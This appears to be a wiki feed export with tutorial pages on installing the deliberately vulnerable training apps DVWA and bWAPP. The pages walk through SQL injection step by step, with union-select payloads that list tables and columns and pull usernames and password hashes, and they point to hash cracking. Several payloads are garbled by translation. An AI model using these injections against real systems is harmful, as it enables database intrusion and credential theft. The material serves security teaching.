[[File:DVWA installed and ready to use.png|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
Note: Before you start, the database should be set or reset.&lt;br /&gt;
&lt;br /&gt;
== Example ==&lt;br /&gt;
&lt;br /&gt;
The example is also based on the SQL injection vulnerability. In contrast to bWAPP, no search terms are entered in the search field, here we are searching by an identification number (ID) of the user in the database. An identification number returns the first name and last name of a user.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA search.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
If we enter &amp;quot;1&amp;quot; in the search field, we will get a syntax error with the associated error message. So, we recognize that the parameters in the URL are vulnerable for a SQL injection. This means we can transmit commands (queries) to the database to get any desired result. First have to merge all existing tables together with the union statement, then we can go forward and determine our desired result like user or database.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;% &#039;Or 0 = 0 union select null, user () #&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;% ’Or 0 = 0 union select null, database () #&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA sqldatabase.PNG|500px|center]]&lt;br /&gt;
[[File:DVWA sqluser.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
To display all tables of the information schema, you must enter the following command in the search field. &amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; The information schema is the place where information is shared with everyone else databases are stored.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;% ’And 1 = 0 union select null, table \ _name from information_schema.tables #&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
We want to display the login data such as username and password. To do this, we should look for the &#039;User&#039; table and print all containing fields. Now we know which fields exist in the table ’User’, so that we can select the right ones and print them out.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;% ’And 1 = 0 union select null, table_name from information_schema.tables where table_name like’ user% ’#&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;% &#039;And 1 = 0 union select null, concat (table_name, 0x0a, column_name) from information_schema.columns where table_name =&#039; users&#039; #&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;% ’And 1 = 0 union select null, concat (first \ _name, 0x0a, last \ _name, 0x0a, user, 0x0a, password) from users #&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
Unfortunately, the data is hashed, and we have to use external software to crack them (John the Ripper).&lt;br /&gt;
[[File:DVWA hashpassword.PNG|500px|center]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:DVWA_hashpassword.PNG&amp;diff=4983</id>
		<title>File:DVWA hashpassword.PNG</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:DVWA_hashpassword.PNG&amp;diff=4983"/>
		<updated>2020-12-13T12:11:09Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:DVWA_sqluser.PNG&amp;diff=4982</id>
		<title>File:DVWA sqluser.PNG</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:DVWA_sqluser.PNG&amp;diff=4982"/>
		<updated>2020-12-13T12:08:26Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:DVWA_sqldatabase.PNG&amp;diff=4981</id>
		<title>File:DVWA sqldatabase.PNG</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:DVWA_sqldatabase.PNG&amp;diff=4981"/>
		<updated>2020-12-13T12:07:39Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:DVWA_search.PNG&amp;diff=4980</id>
		<title>File:DVWA search.PNG</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:DVWA_search.PNG&amp;diff=4980"/>
		<updated>2020-12-13T12:06:04Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:DVWA_installed_and_ready_to_use.png&amp;diff=4979</id>
		<title>File:DVWA installed and ready to use.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:DVWA_installed_and_ready_to_use.png&amp;diff=4979"/>
		<updated>2020-12-13T11:50:06Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:DVWA_configfile.png&amp;diff=4978</id>
		<title>File:DVWA configfile.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:DVWA_configfile.png&amp;diff=4978"/>
		<updated>2020-12-13T11:49:14Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:DVWA_official_Website.png&amp;diff=4977</id>
		<title>File:DVWA official Website.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:DVWA_official_Website.png&amp;diff=4977"/>
		<updated>2020-12-13T11:47:59Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:DVWA_architecture.png&amp;diff=4976</id>
		<title>File:DVWA architecture.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:DVWA_architecture.png&amp;diff=4976"/>
		<updated>2020-12-13T11:41:30Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=BWAPP&amp;diff=4975</id>
		<title>BWAPP</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=BWAPP&amp;diff=4975"/>
		<updated>2020-12-13T11:02:22Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: Created page with &amp;quot;bWAPP is the abbreviation for &amp;quot;buggy web application&amp;quot; and it is a deliberately insecure web application which is freely accessible to everyone. bWAPP belongs to the ITSEC Game...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;bWAPP is the abbreviation for &amp;quot;buggy web application&amp;quot; and it is a deliberately insecure web application which is freely accessible to everyone. bWAPP belongs to the ITSEC GamesProject and was designed by Malik Mesellem. Security enthusiasts such as developers and students can discover the various web vulnerabilities and try to simulate with this application. In addition to the ethical hacking training, bWAPP also relies on the fun factor and tries to build everything up in a playful way. bWAPP is extremely diverse because it contains the most well-known web vulnerabilities and even covers all risks of the OWASP Top 10 Project. The application also offers three security levels (low/medium/high), where the user is perfectly prepared for penetration tests and hacking projects. Further information and assistance can be found on the ITSEC GamesProject website. [[http://www.itsecgames.com/]]&lt;br /&gt;
&lt;br /&gt;
== Architecture ==&lt;br /&gt;
&lt;br /&gt;
bWAPP is a free PHP application that uses an SQL database. The web service is provided by Linux or Windows with Apache or IIS. It is also supported by WAMP and XAMPP. You can also download bee-box, this is a virtual machine with bWAPP included.&lt;br /&gt;
[[File:BWAPP architectur.PNG||200px|center]]&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
&lt;br /&gt;
For a successful installation, follow these steps:&lt;br /&gt;
On the official homepage of ITSEC Games-Project (http://www.itsecgames.com/) you can download bWAPP. Extract the ZIP file to any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:OfficialWebsite bWAPP.png|500px|center]]&lt;br /&gt;
&lt;br /&gt;
The password is deleted from the PHP file “setting.php”&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:BWAPP PHPfile with password.png|left]]&lt;br /&gt;
[[File:BWAPP PHPfile without password.png|right]]&amp;lt;/br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then the name of the folder is changed to “bwapp” and the /xampp/htdocs path copied from XAMPP. Here Apache and MySQL must be activated on the XAMPP Control Panel&amp;lt;/br&amp;gt;&lt;br /&gt;
Open “localhost / bwapp / install.php” via the browser and then click on &amp;quot;here&amp;quot;. If the installation was successful, this will also be communicated with a short message.&amp;lt;/br&amp;gt;&lt;br /&gt;
Now bWAPP has been successfully installed, if you enter /localhost/bwapp/ in any browser you will get to the login window. Username is “bee” and password is “bug”. You are logged in now and you can play around with the application.&lt;br /&gt;
[[File:BWAPP installed and ready to use.png|500px|center]]&lt;br /&gt;
&lt;br /&gt;
== Example ==&lt;br /&gt;
&lt;br /&gt;
For a practical demonstration of bWAPP the SQL injection is elected. There are possible security lacks in a SQL database where an attacker can inject the database queries to obtain his desired result.&amp;lt;/br&amp;gt;&lt;br /&gt;
If the correct challenge (SQL injection (GET / SEARCH)) on the website has been selected, a new page opens with a search window and an empty table.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:BWAPP SQLInjection.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
By entering any terms into the search field (e.g. &amp;quot;man&amp;quot;), it is possible to search for any entry in the database. If you select with an empty search field, all entries are displayed.&lt;br /&gt;
[[File:BWAPP withsearch.PNG|500px|center]]&lt;br /&gt;
[[File:BWAPP nosearch.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
But if you enter an apostrophe as a search term, this leads to a syntax error, and you get an error message return, so you recognize that the parameters of the URL are susceptible to a SQL injection.&lt;br /&gt;
[[File:BWAPP error.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
Now it is known that the URL can be edited. By incrementing the number, we can consider that there exist only seven columns.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’order by 1- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’order by 8- - - (out of clausle)&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
It is necessary to know how many columns you have, because in order to display confidential information you have to use an union statement, so that you merge the tables and for this you need the number of columns.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4,5,6,7, - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
By visualizing the columns, you can get the information such as the name or/and the version of the database&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, database (), 6,7, - - -&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, version (), 6,7, - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
By further visualizing you get more information about the database and the associated content. In this example an attempt is made to display the password. This can be reached by outputting the characters of the tables and further linking the table names. Until you get the column ‘User’ where the password is saved hopefully.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables where table_schema = database () - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (table_name), 6,7 from information_schema.tables where table_schema = database () - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (colume_name), 6,7 from information_schema.tables where table_schema =’ users’- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (login, password), 6,7, from users- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
Unfortunately, you can only see the hashed password. But you can crack the hashed password in another step using password cracker software such as John the Ripper.&lt;br /&gt;
[[File:BWAPP hash.PNG|500px|center]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
</feed>